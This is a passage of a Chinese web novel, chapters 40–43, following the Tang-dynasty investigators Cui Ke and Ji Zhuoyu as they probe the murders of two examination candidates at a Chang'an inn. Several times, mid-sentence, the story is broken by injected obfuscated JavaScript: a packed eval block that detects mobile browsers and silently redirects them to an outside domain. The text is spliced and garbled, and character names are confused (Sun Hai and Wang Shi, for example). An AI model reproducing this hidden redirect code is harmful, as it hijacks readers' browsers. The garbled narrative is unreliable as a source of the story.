一个县尉,竟然连他杀和自杀都分不清,可笑至极。 “你疏忽大意,难当长安城县尉一职,待查清此案,本官会如实上奏天后。” 季琢玉从未见过如此严肃的崔大人,脸冷得骇人,周身的温度降到了最低。 县尉敷衍了案,弃李淳于不顾,与草芥人命无差,说他此番作为是在帮着凶犯做事都不为过。 崔恪没有以帮凶的罪名将他关进大牢,已经是仁慈之极。 李淳的尸体由崔十九带差役送回衙门,崔恪和季琢玉直奔举子们落脚最多的城南状元客栈。 据王石和赵海说,李淳生前住在此处。 两人刚踏入喧闹的客栈大堂,就听到里面有举子在争吵。 一个穿着洗得发白,打了好几个补丁青衫的举子,怀里紧紧抱着几本用布包好的旧书,正被一个穿戴华丽,绸衫锦袍的举子堵在楼梯口。 “孙川,你这穷酸鬼,鬼鬼祟祟要上哪儿,莫不是偷了谁的钱?”为首的富家子弟指着孙川的鼻子,语带讥讽,引得周围看热闹的举子一阵哄笑。 孙川气得脸色通红,紧紧护着怀里的书,声音都在抖:“你血口喷人,李淳生前托我还书给书肆的,我正要去给他还书。” “哼,谁知道真假,他死了你还想着给他还书,指定是在书里藏了东西,说,你是不是偷了李淳的银子?“ 拦住他去路的举子,伸手就要去抢。 “诸位同窗,稍安勿躁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他身上的湖蓝锦缎圆领袍料子是好料子,但袍服的款式,袖口和领缘的纹样,却是两年前长安时兴的旧款了。 腰间的玉佩,色泽温润,细看便知并非上好的和田玉,更像是价格低廉些的蓝田玉。 想到他方才替孙川解围的善举,季琢玉心中暗忖,看来这位薛举子,是个不重身外之物,懂得体恤寒门,为人节俭谦和的良善之人。 有这样的举子,是大唐的幸事。 崔恪面色淡漠,对于薛璋的自报家门和奉承,只微微颔首,目光快速从他身上一扫而过。 “薛公子客气。”崔恪声音平平,“本官为李淳一案而来,薛公子与李淳可相熟?” 薛璋神色悲痛:“李兄?唉,虽非同乡,但同住此客栈,亦时常讨教学问。李兄为人清正,学问扎实,只可惜天妒英才,听闻他醉酒暴毙,学生痛心疾首。” 他叹息摇头,情真意切。 季琢玉的目光落在薛璋行礼时微微抬起的手腕上,袖口内侧,靠近手腕处,似乎有一小块颜色比其他地方略深,像是被水渍浸染后留下的痕迹。 崔恪继续问:“昨夜李淳离开客栈前,可有什么异常举动,比如是否跟人争执打架过?” 薛璋微微蹙眉,作思索状:“昨夜学生一直在房中温书,未曾留意李兄何时出去的,今早才听店家说李兄出事了。” 又说:“李兄性子孤僻,但待人谦和,应不会与人结怨,更不会争执打架。” 崔恪点了点头,未再多问,只道:“大理寺需查问李淳同舍及亲近之人,薛公子若想起什么,随时可告知本官。” 他示意季琢玉将薛璋的话全部记录下来。 “是,学生定当知无不言。”薛璋连忙应下,姿态恭谨。 他目光扫过季琢玉,她正低头在簿册上记录,眼神在她清秀的侧脸上停留了一瞬,随即又迅速移开。 崔恪不再看他,带着季琢玉径直走向掌柜,向店家询问李淳的住宿情况以及昨夜的可疑情况等。 40. 第四十章 薛璋站在原地,脸上维持着谦和的笑容,目送崔恪等人走向柜台。 下意识地用指腹轻轻摩挲了一下袖口内侧那块颜色略深的地方,转身走向二楼楼梯。 季琢玉眼角余光瞥向钱塬的背影,她凑近崔恪,小声低语:“大人,薛举子袖口内侧有块渍痕,像他这般注重体面的公子,不该穿着有渍痕的衣衫下楼的。” 崔恪闻言,点了下头,深邃的眼眸凝视着她,眼底分明有几分欣赏,淡淡回了一句:“嗯,看见了,不急。” 状元客栈的大堂,临近傍晚灯火通明,店家念及举子们夜晚温书,早早让小二把蜡烛全都点上。 崔恪端坐主位,面色沉静,季琢玉立于他身侧,负责执笔记录。 被叫到名字的举子们依次上前回话。 白天在大堂为难过王石的富家举子走上前,眼神带着不耐和倨傲,敷衍地拱手行礼,大摇大摆坐到桌前。 “学生钱塬,拜见崔大人,大人要问什么便问吧,学生还要回房温书。” 崔恪问一句,钱塬答一句。 “昨夜何时离开客栈,去了何处?” “昨夜整夜都在平康坊。” “可曾见过李淳?” “学生人在平康坊,他在这客栈里,上哪儿瞧见去?” “仔细想想,李淳这几日可有何反常?” “大人,我与他素日并不熟悉,他就算有何反常之处,学生也未曾注意过,实在是没什么能告诉大人的。” 钱塬就差把腿翘起来搭在桌子上了,在椅子上坐着也不安分,举止轻浮,语气不善。 崔恪摆了摆手,示意他可以离开了。 其余的举子挨个上前,见到崔恪,皆惴惴不安,言辞谨慎,回答的多是些无关痛痒的琐事。 “昨夜戌时三刻左右,学生去茅房,似乎看见李淳在廊下徘徊,像是在等人,但没看清是谁……” “晚膳时分,学生曾见李淳与钱塬在楼梯口说了几句话,声音不大,听不清内容……” “昨夜雨大,学生窗户没关严,雨水飘进来打湿了书案,折腾了半宿……” 鸡毛蒜皮的小事,零零碎碎的话,拼凑不出昨夜李淳离去的准确时辰,更遑论断定凶手。 看着举子一个个离开,季琢玉眉头越蹙越紧,她觉得从这些举子口中是问不到有用的信息了。 盘问进行到与李淳同住一屋的举子王石时,却被店家告知王石不在房内。 “他去哪儿了?”崔恪问。 旁边一个与王石相熟的举子答道:“回大人,王石去书肆还李淳生前借的几本书,几个时辰前出去,尚未归来。” 天色早已黑透,不知不觉下起了大雨,豆大的雨点砸在瓦片上,噼里啪啦作响。 客栈掌柜看着时辰,搓着手,面露难色地走到崔恪面前,哈着腰道:“大人,您看这天色已晚,雨又这么大,小店该关门落闩了,举子老爷们也要歇息……” 他话未说完,一个举子急切地说:“不能关门,等等,再等等王石。” 众人循声望去,正是与王石平日交好的举子孙海。 孙海用手扒着门框,头探出去,焦急道:“孙海他还没回来,他身上一个铜板都没有,书肆离这里好几条街,这么大的雨,他不可能在外面投宿,一定会回来的,关了门,他回来进不来怎么办,淋一夜雨会生病的。” 他的情绪激动,眼神担忧,与周围那些事不关己,只想早点休息的举子截然不同。 掌柜一脸为难:“王公子,你这不是为难我吗,店里有店里的规矩,若是人人都出去不按时回来,我岂不是要通宵看店。” “你这店家好生古板,规矩是死的,人是活的。”孙海梗着脖子,眼睛都急红了,“如今外头不太平,李淳刚在外头出了事,你就不怕孙海也死在外头吗!” 他转而看向崔恪,恳求道:“大人您说句话,让掌柜再等等吧。” 崔恪的目光在孙海焦急的脸上一落,又看向外面瓢泼大雨,沉声道:“再等半个时辰。” 少卿大人发话,掌柜只得喏喏应下。 雨越下越大,丝毫没有停下来的意思,大堂内不少举子已经哈欠连天,低声抱怨。 季琢玉揉了揉发酸的手腕,目光看向人群中的钱塬。 他端坐在桌前,手里捧着一卷书,静心读书,旁若无人。 眼看半个时辰将尽,门外雨幕中突然冲进来一个跌跌撞撞的身影。 并非是还书归来的孙海,而是负责附近几条街打更的伙计。 伙计浑身湿透,像刚从水里捞出来,脸上毫无血色,惊恐万分,一进门就扯着嗓子喊:“死……死人了,又死人了!” 一道惨白的闪电劈开黑幕,随之而来的是震耳欲聋的雷声。 伙计的声音盖过雷声,反复嚷着同一句话。 “外面的枯井,那个……那个姓孙的举人老爷,滑到井里淹死了。” 大堂内举子们都吓得不敢动了,脸上的睡意和方才的抱怨顿时不复存在,目瞪口呆地看着那打更的伙计。 “什……什么!”孙海难以置信地喊出声,踉跄着扑向打更人,一把揪住他湿透的衣领:“你说谁,孙海?不可能,你胡说,怎么会死了呢。” 打更的伙计本来就被吓得脸色苍白,又被孙海抓住衣领,整个身体被迫后仰,吓得直接说不出话了。 崔恪看向季琢玉,季琢玉也看向他,两人对视上,明白对方的意思,几乎是同时迈步走出客栈。 雨继续下,季琢玉一手拿着油纸伞,一手提着蜡烛灯,半蹲在地上。 “大人,您看这里。” 季琢玉指着几道深深陷入泥泞的,向后拖拽的痕迹,以及井沿石壁上几处新鲜的,不规则的刮擦痕。 “这不像是失足滑落,倒像是……倒像是有人从背后猛力推搡,王石挣扎时,脚蹬在井壁上留下的。” 她又指向井边一处相对干燥,脚印杂乱的地方。 “这里靴印虽然混乱,但能看出有一双靴印,脚尖朝着井口方向,发力点很深,可能是凶手推搡发力所导致的。” 崔恪蹲下身,指尖碰到地上拖拽痕迹和刮痕,眼神变得无比冰冷。 他站起身,声音斩钉截铁:“伪造失足落井的意外,杀人灭口。” 王石去为李淳还书,转眼就死在外面,这绝非巧合。 又出了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946444|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桩命案,崔恪和季琢玉重回状元客栈,对客栈里的人再进行一次盘问。 所有下午曾离开过客栈的举子,无论时间长短,都被集中在大堂,接受审问。 “学生酉时初刻出门,去东市书肆买新到的《策论集注》,掌柜可作证,买了书就回来了,前后不到一个时辰。” “学生申时三刻去隔壁街拜访同乡,一同用了晚膳,直到戌时末才归,同乡和客栈门房都能作证。” “学生酉时三刻出门,去了城南的大慈恩寺,家母病中,学生去佛前为母抄写《药师经》,直至亥时方归,寺中门房师父可以作证。” “学生是戌时初出门的,就在客栈附近没走远,沿着朱雀大街往南溜达了约莫半个时辰,戌时二刻左右就回来了,当时店里的伙计应该看见我了?” …… 盘问了一圈,大多都有看似合理的不在场证明,或有人证,或时间对不上。 钱塬:“崔大人,学生下午门都没出,一直在屋内,我那书童可以作证。” 这时,客栈后门一阵响动,一个穿着青布短衫,身形瘦小,约莫十五六岁的少年,拎着个油纸包,小心翼翼溜了进来。 钱塬眼睛一亮,指着少年嚷道:“看,我的书童回来了,他可以给我作证,我一直在房里未曾离开半步。” 所有人的目光瞬间聚焦在那个怯生生的书童身上。 崔十九上前一步,拦住书童:“站住,你下午去哪了?何时出去的?何时回来的?手里拿的什么?” 书童被这阵仗吓得一哆嗦,手里的油纸包差点掉地上,结结巴巴道:“回、回官爷,小的……小的奉公子之命,去、去城西的‘济世堂’给公子抓药,公子说昨儿淋了雨,有点风寒。” 城西济世堂,距离状元楼可不近,一来一回,加上抓药,耗费的时间可不短。 “抓药?”季琢玉起身,走到书童面前,审视着他,“药呢?拿来我看,何时出去的?路上可遇到什么人?可有凭证?” 书童被她迫人的气势吓得连连后退,紧紧抱着药包,求助似的看向自家公子。 “慢着!” 钱塬走过去,挡在书童身前,下巴高高扬起,脸上带着惯有的倨傲,斜睨着季琢玉。 “你是崔大人的属下是吧,你这是什么意思,怀疑我的书童杀人?打狗还要看主人呢,他一个小小书童,不过是出去替我跑个腿抓副药,你们大理寺查案,不去抓真凶,倒在这里乱冤枉人,是何道理?” 他声音洪亮,看起来不像是做贼心虚,倒像是诚心为书童说话。 季琢玉眼神不惧,迎上钱塬的目光,声音清冷:“钱公子此言差矣,查案追凶,蛛丝马迹皆不可放过,你的书童下午外出,时间,路线,目的,皆需核实清楚,排除嫌疑,也是还他清白,况且大理寺行事,只看证据,不认主人,请你让开。” 她语气坚定,寸步不让。 崔恪被她的话噎住,脸色涨红:“你……” “让他答话。”一直沉默的崔恪忽然开口,声音颇有威严。 他抬起眼皮,目光淡淡扫过钱塬,钱塬瞬感一股强大的压力,后面的话硬生生卡在喉咙里,默默退到旁边。 41. 第四十一章 崔恪的目光移动向瑟瑟发抖的书童,道:“将药包呈上来。” 钱塬站在一旁,觉得自个被羞辱,有损颜面,却又不敢上前阻拦,憋得脸通红。 书童颤抖着手,将油纸包递给了崔十九,甚至不敢抬头看他。 崔十九瞧一眼药包,转手递给身旁的季琢玉。 季琢玉接过药包,掂量了一下分量,满是药草并未掺杂旁的东西。 她解开绳子敞开药包,凑近鼻尖,仔细嗅闻。 浓重难闻的药草味扑面而来,可以分辨出其中有柴胡、葛根、甘草等常见祛风散寒的药材气味。 但在这股药味之下,似乎还夹杂着一丝极其微弱的沉水香? 沉水香由沉香、檀香、龙脑和甘松制成,外加一种水果来发酵,价比黄金,多为高雅之士所用,若非是外面下了大雨,沉水香混在这包药草中会更浓。 她不动声色,当着众人的面,翻了翻药包,里面全是草药,药方也附在其中,确实是治风寒的常见方子。 只是其中沾染的沉水香,不知是何处来的? 钱塬见状,嗤笑一声,得意道:“怎么样,都看清楚了?就是寻常风寒药。” 季琢玉没理他,将药包重新包好,面上平静,递给崔十九,目光落在书童身上。 “药是在济世堂抓的,可有药方凭证和抓药时辰的记录?来回走的是哪条路,路上可曾停留?可有人看见你?” 书童被她一连串的问题问得更加慌乱,眼神飘忽不定,看向自家公子。 钱塬刚想呵斥季琢玉,觉得她是在故意为难人,崔恪冰冷的声音传来。 “钱公子,”他目光沉沉,“你的书童若真清白,如实答话便是。你一再阻拦,莫非是怕他答出什么不该答的?” 钱被崔恪看得心底发毛,解释道:“学生只是怕你们吓着他,我这书童胆子小。” “不必怕。”季琢玉接过话,目盯着书童,声音放缓:“你只需说实话,这药包真的是去济世堂抓的吗?还是从别处得来的?” 济世堂是长安城中有名药铺,她也去过,铺子里并未熏香,更不会熏香。 书童不是在回来的路上见过了什么人,就是手中的药包是从别处的来的,总之有所隐瞒。 书童肩膀一颤,看向自家公子,支支吾吾道:“药包……药包确实是从济世堂买来的。” 季琢玉扭头看向崔恪,她知道,从书童口中怕是问不到什么了。 这书童虽胆子小,却是个嘴硬的,钱塬站在他旁边,他一句也不肯多说。 见季琢玉不再说话,钱塬挺直腰板,轻哼一声,带着自己的书童上了二楼。 其他的举子结伴而行,陆陆续续离开大堂,回到各自的房间。 “大人,”掌柜小心翼翼地凑到崔恪面前,搓着手,一脸为难,“这雨怕是一时半会儿停不了,夜路湿滑难行,您看要不委屈您和季仵作在小店将就一晚?只是……” 他环顾了一下墙上挂着的刻有房间名的木牌子,面露难色,“小店只剩一间上房了。” “一间?”崔恪眉头微蹙。 “是是是,”掌柜连忙解释,“原本倒有两间空着,可下午刚被两位路过的客商定了去。只剩最里头的上房还空着。” 他赔着笑,目光在崔恪和季琢玉身上扫了扫,道,“两位大人都是男子,挤一挤应当无妨?” 季琢玉眸色一惊,脸颊骚红,下意识地想开口拒绝。 拒绝掌柜的话,到了嘴边又咽了下去。 以什么理由拒绝呢,难道要跟掌柜说自己是女子,这万万不可。 她勉强镇定下来,垂下眼帘,盯着自己的靴尖,嘟囔一句:“连空闲的柴房也没有了吗?” 声音之小,掌柜没听清,崔恪听得清楚。 “仵作大人,您说什么?”掌柜求问。 “没,没什么……”季琢玉摆摆手,脸上是尴尬的笑容。 柴房倒是有,掌柜怎么可能让两位大理寺来的大人住在柴房,他想都不敢想。 崔恪沉默片刻,淡淡应了一声:“带路吧。” “两位大人,楼上请~”掌柜笑着引二人上楼。 上房倒是宽敞,陈设也够雅致,一床一榻,中间隔着屏风,还有一张圆桌和两把圈椅。 再宽敞的屋子,季琢玉都觉得逼仄,她余光撇一眼崔大人,放在身前的双手捏在一起,都快搓出火花了。 客栈伙计殷勤地送来热水和干净的布巾,又端来了热茶。 “二位大人早些歇息,有什么需要尽管吩咐我。”说完便退了出去,还顺手带上了门。 “咔哒”一声轻响,房门关上了。 房间里只剩下崔恪和季琢玉两个人。 季琢玉坐立不安,浑身不自在,她刻意不去看崔大人,目光在屏风、床榻、窗棂之间乱飘,最终落在冒着袅袅热气的浴桶上。 奔波查案一天,身上又是雨水又是泥污,黏腻难受,如果能洗个澡就好了。 可崔大人在这,她该如何开口让他先出去呢? 季琢玉深吸一口气,终于下定决心,转过身看向崔大人,尽量让自己的声音听起来平静无波。 “大人,卑职想沐浴更衣,烦请大人移步门外稍候片刻。” 崔恪坐在圈椅上,端着茶杯,闻言动作顿住。 茶杯上升的氤氲热气模糊了他的眉眼,看不清此刻是什么表情。 他放下茶杯,杯底磕在桌面,发出清脆的一声轻响。 什么也没说,站起身,径直走向门口。 季琢玉听着门外走远的脚步声,心里的大石头落了地。 她快步走到门边,仔细落了门闩。 背靠着冰凉的门板,,看着空空荡荡的上房,一攥手才发现自己手心里全是汗。 迈步到浴桶边,弯腰试了试水温,水温正好,不假思索地脱下外袍,中衣,里衣…… 抬起手,指尖勾住束发的布带轻轻一扯,如瀑般的墨色青丝垂落到纤细的腰肢处。 目光垂落到胸前,她伸出手碰到层层叠叠地束胸带,缓慢地松开一圈又一圈,如瓷般的胸前肌肤早已被勒的麻木,两道红痕像是刻进了肉里。 客栈的木板门并不隔音,崔恪背脊挺得笔直,紧贴门 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想到崔大人还在外面,她忍不住竖起耳朵,听着门外细微的动静。 只有雨声,和几乎微不可闻的呼吸声。 她洗得很快,几乎是潦草地结束了。 换上干净的里衣,又仔细将束胸的布带缠好,再套上干净的袍服。 湿漉漉的长发被她用布巾胡乱包起,塞进软帽里。 做完这一切,她才深吸一口气,走到门边,手搭在门闩上,犹豫了一下。 崔恪背对着房门,静静伫立在廊下的阴影里,高大的身影几乎融入了黑暗。 走廊里的窗不知怎得没关严,半合着,透着寒意的细雨随风扑打在他肩头,他恍若未觉。 “吱呀”,身后的门被轻轻拉开一条缝,探一个小脑袋,不施粉黛的清秀面容有着浑然天成的妩媚动人。 崔恪随即缓缓转过身,眼神里是未曾察觉到的惊愕。 靛蓝色常服穿在她的身上还有些宽大,清透眼眸蒙了一层水雾,几缕青丝滴着水珠贴在她的脸颊上,尖细的下巴微微抬起,脸上还有被热水蒸过的燥红。 身上带着沐浴后淡淡的皂角清香,在夜雨来袭的潮湿的空气里格外明显。 “大人……请进。”她的声音有些不自然,微微侧身让开。 崔恪的目光在她的脸上停留一瞬,立刻移开,面无表情地“嗯”了一声,抬步走进房间, 季琢玉嗅到他身上潮湿的寒气,似乎还有血腥味,她的目光迅速落到他的身上,看到他手心紧攥着,掌心一片殷红。 “大人,您的手……” “无碍。”崔恪声音低沉,略略沙哑。 季琢玉快步走上前,没料到崔大人忽然转身,她险些撞上去。 两人只隔了半步的距离,她逼停脚步,惊魂未定,仰头看着面前的崔大人,眼睛睁得又大又圆。 “手……流血了,还是得上药才行。” “不用,你早些休息。”崔恪声音冰冷,看着她的眼神如同看并不熟悉的过路人。 42. 第四十二章 季琢玉木讷站着,伸出去想要抓住他衣袖的手,被迫停在半空中,眼神中是疑惑和不解。 崔大人怎么突然变得如此冷漠? “大人,是手太疼了吗,还是背上的伤口又裂开了?” 她将崔恪的反常,归于他身上的伤,伤口裂开,手心流血,疼得厉害,难免性情大变。 “不用你管。”崔恪声音冷冷,背过身去,不再看她。 季琢玉望着他的背影,缓慢低下头,鬓角处的水珠落到她眼前,砸在地上。 她抬起手,才发觉,贴在脸颊上的几缕青丝早已被凉风吹干,方才那滴“水珠”是从她的眼角挤出来的…… 她怎么哭了,是因为大人对她说话冷冰冰的,她心里不舒服。 转念一想,她抬脚踩去地上的泪痕,觉得这一滴泪是多么莫名其妙。 她是属下,大人是上官,无论大人说什么话,难听与否,好听也罢,她都要受着。 崔十九不也经常被大人冷脸相待吗? 十九就从没往心里去过,她又何必伤心,显得十分矫情。 崔恪站在窗边,背影挺拔,夜已深,他似乎没有要睡的意思。 季琢玉扭头看向角落里的雕花拔步床,银钩松松挽起两侧的石榴红绉纱,铺着雪白的丝绵褥子,整齐叠着一床湖蓝色的合欢被,成对的锦缎引枕,深青色,绣着白鹤。 静默的上房,只有窗外单调的雨声。 夜雨未停,渐小,寒意却更甚,侵入骨髓。 季琢玉正欲开口请崔大人去床上睡觉,她决定趴在桌子上将就一晚。 “笃笃笃。”轻微的敲门声打断了她要说的话。 季琢玉一惊,已是子时三刻,掌柜和伙计也都睡下了,怎会有人来? 崔恪转身,先一步开口,声音沉稳:“何人?” 门外传来一个清朗温和,态度恭敬的声音:“崔少卿,学生薛璋。夜深雨寒,学生见二位大人辛劳查案,未能用膳,特备了些家中送来的点心,聊表心意,还请二位大人莫要嫌弃。” 季琢玉看看崔恪,心里想着此人深夜前来,一定不光是送点心这么简单。 她犹豫要不要请薛璋进来,崔恪已经开口了。 “进来吧。” 门被轻轻推开。 薛璋端着一个小巧精致的红木食盒走了进来,脸上带着谦卑的笑容,走上前,将食盒放在房间中央的圆桌上,动作轻缓地打开盒盖。 诱人的甜香混合着果香倏然在室内弥漫开来,食盒里分两层,上层是几块造型玲珑、晶莹剔透的荷花酥,下层是几枚色泽金黄、裹着糖霜的酥皮点心,旁边还配着一小碟切好的时令水果。 “这是家中小厨房新来的师傅所做,”薛璋微笑着介绍,“这位师傅曾在宫中御膳房当差,尤擅点心。这荷花酥用的是极好的莲蓉,这酥点则是仿照宫里的‘金乳酥’所制,火候和用料都极讲究。” 他一边说,一边极其自然地拿起食盒里的小银筷,为崔恪和季琢玉各布了一块荷花酥,动作优雅,看起来对饮食之道颇为讲究。 “有心了。”崔恪淡淡道,目光落在精致的点心上,并未动筷。 薛璋放下银筷,脸上笑容和善,像是忽然想起什么重要的事情,郑重其事地叮嘱道:“对了,二位大人,这点心虽好,但有一事需千万留意。” 他指着那碟酥皮点心,“这‘金乳酥’里用了上好的牛乳酥酪,最忌与生鲜柿子同食!若是吃了这酥点,半个时辰内再食柿子,两物相克,极易引发呕吐,严重者甚至会中毒昏厥,家中师傅曾再三叮嘱,学生不敢不提醒二位大人。” 他说得十分认真,眼神关切,生怕崔恪和季琢玉误食柿子。 崔恪轻应一声,面色照旧:“薛公子对饮食之道,倒是颇有研究。” 薛璋谦逊浅笑:“学生不敢当,只是与家中小厨房的师傅交情甚好,耳濡目染罢了。” 季琢玉看一眼桌上的点心,拿起一块荷花酥,轻咬一口,眼前放亮。 果然是好吃的,不愧是出自御厨之手。 崔恪端起手边的热茶,轻轻吹了吹浮沫,状似随意地问道:“更深露重,薛公子还未歇息?” 薛璋挺直背脊,恭敬答:“回大人,学生习惯了挑灯夜读。春闱在即,不敢有丝毫懈怠,待会儿回房,还要再温习一遍五经正义,查漏补缺。” “哦,五经正义?”崔恪放下茶杯,目光平静扫向薛璋,忽然开口吟道:“‘朱门酒肉臭,路有冻死骨。’此句悲天悯人,直刺时弊,当真是王右丞忧国忧民之心,千古绝唱。” 季琢玉吃点心的动作戛然而止,嘴里还有一口荷花酥,硬是含着没咽下去。 她错愕地看向崔大人,似乎是听到了什么难以置信的话。 这句诗句分明是杜工部所作,崔恪身为大理寺少卿,饱读诗书,怎可能记错? 他竟故意将杜工部说成王右丞,刻意说错,是在试探薛璋? 季琢玉的心瞬间提了起来,目光紧紧锁定薛璋。 薛璋用力点头,语气敬佩,附和道:“大人所言极是,王右丞此句,堪称泣血之作,道尽了人间冷暖,世态炎凉。学生每每读之,亦是心潮澎湃,感佩不已,其忧国忧民之胸怀,实乃我辈楷模。” 他神情激动,言辞恳切,仿佛对王右丞推崇备至。 季琢玉舔了舔嘴角的酥皮渣,觉得嘴里的点心也不甜了,难以下咽。 薛璋竟然附和崔大人! 一个口口声声挑灯夜读《五经正义》,准备科举的举子,怎么可能连“朱门酒肉臭,路有冻死骨”这种传世名句的真正作者都搞不清楚? 王右丞和杜工部是同一个人? 他一个举子,竟连这最起码的诗句都搞不懂是谁写的,他这样真的能考中进士吗? 更让人不解的是,连王右丞和杜工部都分不清,他这个举子又是怎么得来的? 崔恪刻意说错话,连季琢玉都听得出来不对,而薛璋,对崔大人的话竟然毫无反应。 崔恪的眼底冷冰冰,放在膝上的手指,不着痕迹地蜷缩了一下。 季琢玉放在手里的荷花酥,倒吸一口凉气,按耐住心头的震惊,嘴角还是忍不住抽动了一下。 薛璋似乎并未察觉两人的异常,还沉浸在感佩先贤的情绪中,他对着崔恪恭敬地拱手。 “酥点趁热用才好,学生就不打扰二位大人歇息了。” 他脸上是轻松的笑意,躬身告退,轻轻带上了房门。 门关上的瞬间,季琢玉放松紧绷的神经,深呼一口气,拍拍自己的前胸。 还好她忍住了,没有嘴快问出声。 这个薛璋有问题。 光是他这个举子身份,就让人怀疑,不是买来的就是……假借了别人的身份。 崔恪缓缓站起身,看着食盒里精致诱人的点心,眼神极冷。 季琢玉走到他身边,压低声音:“大人,他……” 崔恪抬手,阻止了她后面的话。 他拿起食盒里的金乳酥,凑到鼻尖,仔细地嗅闻着。 除了浓郁的奶香和甜香,并无其他异味,他眼中的警惕没有丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963771|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫放松。 终于放下点心,目光转向季琢玉,声音低沉。 “一个对食物相克如此精通,却连蒙学稚童都该知晓的名句归属都搞不清的举子,口口声声说每日挑灯夜读。” “挑灯夜读,呵,怕是他人早就从房间溜出去了……” 季琢玉砸砸嘴,崔大人意有所指,他是觉得这个薛璋有作案的嫌疑。 可是他没有作案动机啊,白天对客栈里的举子进行询问,并未有人提起薛璋与李淳和王石有交集。 这三人,并不相熟。 “对了,大人,还有一事也十分可疑,李淳并未喝酒,杏花楼的掌柜却说看见李淳一个人进了包厢,饮了许多酒。” “十九大哥派人查了酒楼掌柜的底细,此人与李淳素日并无交集,他应该没有说谎。” 崔恪抬眼看她,两人目光对视,季琢玉点点头,直说自己的猜测:“我怀疑,杏花楼掌柜当天看到的人,应该不是李淳,而是杀死李淳的凶手。” 酒楼鱼龙混杂,来往宾客众多,掌柜只是草草看一眼,难免看的不清楚。 掌柜亲眼所看,只是一个与李淳极为相似的人,并非李淳本人。 “如此,那杀害李淳的真凶,应是极为熟悉李淳的人,并与他身形相仿。”崔恪不紧不慢地说。 季琢玉道:“是,大人,我也是如此想的。” 就在这时,她的肚子却不合时宜地“咕噜”一声轻响,听得清晰。 她脸上闪过一丝窘迫,飞快地低下头。 崔恪目光落在她微微发红的脸上,黑眸里的冰冷化去,眼底掠过一丝极淡的无奈。 他什么也没说,只是自然地伸手,将食盒往她那边推了推。 “???” 季琢玉有些懵,不解地抬眼看他,薛璋明显有问题,这点心……还能吃? 崔恪对上她疑惑的眼神,淡淡吐出两个字:“无妨。” 他语气笃定,更像是在说,“放心吃吧,有我看着。” 季琢玉虽然怀疑薛璋,但她信任崔大人,伸出手小心翼翼地拿起一块荷花酥吃了起来。 入口酥脆,莲蓉细腻清甜,带着淡淡的荷香,肚子里的饥饿感瞬间被抚平。 吃完荷花酥,还没吃饱,她顾不得什么仪态,又拿起一块金乳酥。 浓郁的奶香混合着酥皮的焦香在口中化开,让她眯起了眼,暂时将薛璋和案子抛在了脑后。 崔恪站在桌边,静静地看着她吃,嘴角不自觉地上扬。 季琢玉吃完大半盒点心,胃里有了饱胀感,心满意足地舒了口气,舔了舔嘴角的碎屑。 这时,她才后知后觉地想起,崔大人好像一口没吃…… 她有些不好意思地看向崔恪,指着食盒里仅剩的两块点心:“要不,大人……您也吃点?” 崔恪的目光从她沾着碎屑的嘴角掠过,落在她餍足的脸上,缓缓摇头,声音低沉。 “我不饿。” 他顿了顿,目光扫过那些空了大半的碟子,又补充了一句:“你也少吃些,省得夜里又积食,肚子难受。” 这句话他说得十分自然,是极为顺嘴的叮嘱。 又? 季琢玉敏感地察觉到这话里的不对劲,什么叫又积食,这话好像,崔大人从前见过她吃太多点心,夜里积食睡不着的样子。 她倏地抬起头,眼睛瞪得溜圆,声音惊愕:“大人您说什么?” 崔恪:“没什么。” 崔恪不承认方才说过的话,季琢玉只当他是说错了,并未往心里去。 43. 第四十三章 良久,崔大人干咳一声,道:“……夜深了,早些安置。” 说完,他径直走向屏风后那张窄榻,和衣躺下。 窄塌根本躺不下他整个身体,他只能蜷缩着,季琢玉瞧着莫名觉得大人好可怜。 崔恪一翻身,瞳孔放大,微愠道:“你在这做什么?” 季琢玉竟将床塌上的合欢被铺在了地上,手里还拽着锦缎引枕,像是要睡在地上的意思。 “天下哪儿有上官睡窄塌,属下睡床塌的道理。” 她将引枕丢到被子上,一屁股坐下,盘着腿,抬头看着崔大人。 “那为何不叫我去床上?”崔恪翻身坐起来,整整衣袍。 季琢玉摇摇头,天真道:“属下就算说了,大人肯定也不会去,不如我睡地上,大人睡窄塌。” 她话音刚落,崔恪便起身走向床榻,衣袍下摆从她脸侧抚过。 她扭头看,看到崔大人已经合衣躺到床塌上了,侧着身,床上还能再躺一个人。 季琢玉坐在合欢被上,双手不自觉地抓紧被角,深吸一口气。 大人这是什么意思? 她不敢想,更不敢问,别说是跟着他走过去到床上睡觉了。 崔恪侧身而卧,背对着地上的季琢玉,呼吸渐渐平稳下来,像是已经熟睡了。 季琢玉躺下,后背刚碰到地,骨头开始膈得疼,肩胛骨无论怎么挪动都找不到一个舒服的姿势。 她翻来覆去,轻咬着下唇,额头上冒出一层细密的汗水。 手臂垫在脖子下面,又将引枕一脚踹到脚下,再翻身坐起来,换个方向继续睡。 好不容易睡着了,窗外的雨又下大了,风呼啸着夹着雨而来,冰凉的雨水尽数落在她的脸颊上。 黏腻,冰凉,强势。 她气愤地睁开眼,抱着引枕坐起来,气鼓鼓地盯着窗户,窗棂也不知怎得,竟被风吹坏了,窗户只能半掩着,关不严。 屋漏偏逢连夜雨,地硬偏就一张床。 